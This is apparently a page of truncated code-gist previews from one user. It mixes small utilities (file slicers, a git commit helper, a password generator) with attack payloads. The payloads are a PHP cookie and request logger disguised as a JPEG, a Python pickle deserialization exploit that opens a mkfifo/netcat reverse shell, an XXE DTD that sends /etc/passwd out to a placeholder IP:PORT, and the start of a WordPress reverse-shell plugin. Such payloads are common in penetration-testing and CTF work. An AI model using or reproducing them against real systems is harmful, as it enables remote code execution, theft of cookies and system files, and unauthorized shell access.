This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
header("Content-Type: image/jpeg"); | |
$data = "GOT request :\n\n"; | |
$data .= "Requester: " . $_SERVER['REMOTE_ADDR']; | |
$data .= "\nForwarded For: " . $_SERVER['HTTP_X_FORWARDED_FOR']; | |
$data .= "\nUser Agent: " . $_SERVER['HTTP_USER_AGENT']; | |
$data .= "\nCookie: " . json_encode($_COOKIE); | |
$data .= "\nBody: " . json_encode($_REQUEST); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import sys | |
import base64 | |
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat IP PORT > /tmp/f' | |
class rce(object): | |
def __reduce__(self): | |
import os | |
return (os.system,(command,)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"> | |
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://IP:PORT/?p=%file;'>" > | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Reverse Shell | |
Description: A simple plugin to test reverse shell connections (educational purposes only). | |
Author: Ethical Tester | |
Version: 1.0 | |
*/ | |
function reverse_shell() { | |
// Replace with your attacker's IP and port |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Banner | |
echo "" | |
echo "██████╗ ███████╗████████╗ ██████╗ █████╗ ███████╗████████╗" | |
echo "██╔════╝ ██╔════╝╚══██╔══╝ ██╔══██╗██╔══██╗██╔════╝╚══██╔══╝" | |
echo "██║ ███╗█████╗ ██║ ██████╔╝███████║█████╗ ██║" | |
echo "██║ ██║██╔══╝ ██║ ██╔══██╗██╔══██║██╔══╝ ██║" | |
echo "╚██████╔╝███████╗ ██║ ██║ ██║██║ ██║██║ ██║" | |
echo " ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
def copy_lines(filename, start_line, end_line): | |
try: | |
with open(filename, 'r') as file: | |
lines = file.readlines() | |
if start_line < 1 or end_line > len(lines): | |
print(f"Error: Line numbers must be between 1 and {len(lines)}") | |
return |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
# Authorization token (replace with your actual token) | |
auth_token = 'YOUR_TOKEN' | |
# Set up headers | |
headers = { | |
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0', | |
'Authorization': auth_token | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
def slice_file(input_file, output_file, start_line, end_line=None): | |
""" | |
Slices a text file and saves the result to a new file. | |
Parameters: | |
input_file (str): Path to the input text file. | |
output_file (str): Path to the output text file. | |
start_line (int): The line number to start slicing from (1-based index). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
git-commit() { | |
if [ "$#" -ne 2 ]; then | |
echo "Usage: git-commit <type> <message>" | |
return 1 | |
fi | |
local commit_type=$1 | |
local commit_message=$2 | |
git pull |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
randompass() { | |
local length="${1:-15}" # Default password length is 15 characters | |
local password | |
password=$(openssl rand -base64 48 | tr -dc 'a-zA-Z0-9' | head -c "$length") | |
echo "$password" | |
} |
NewerOlder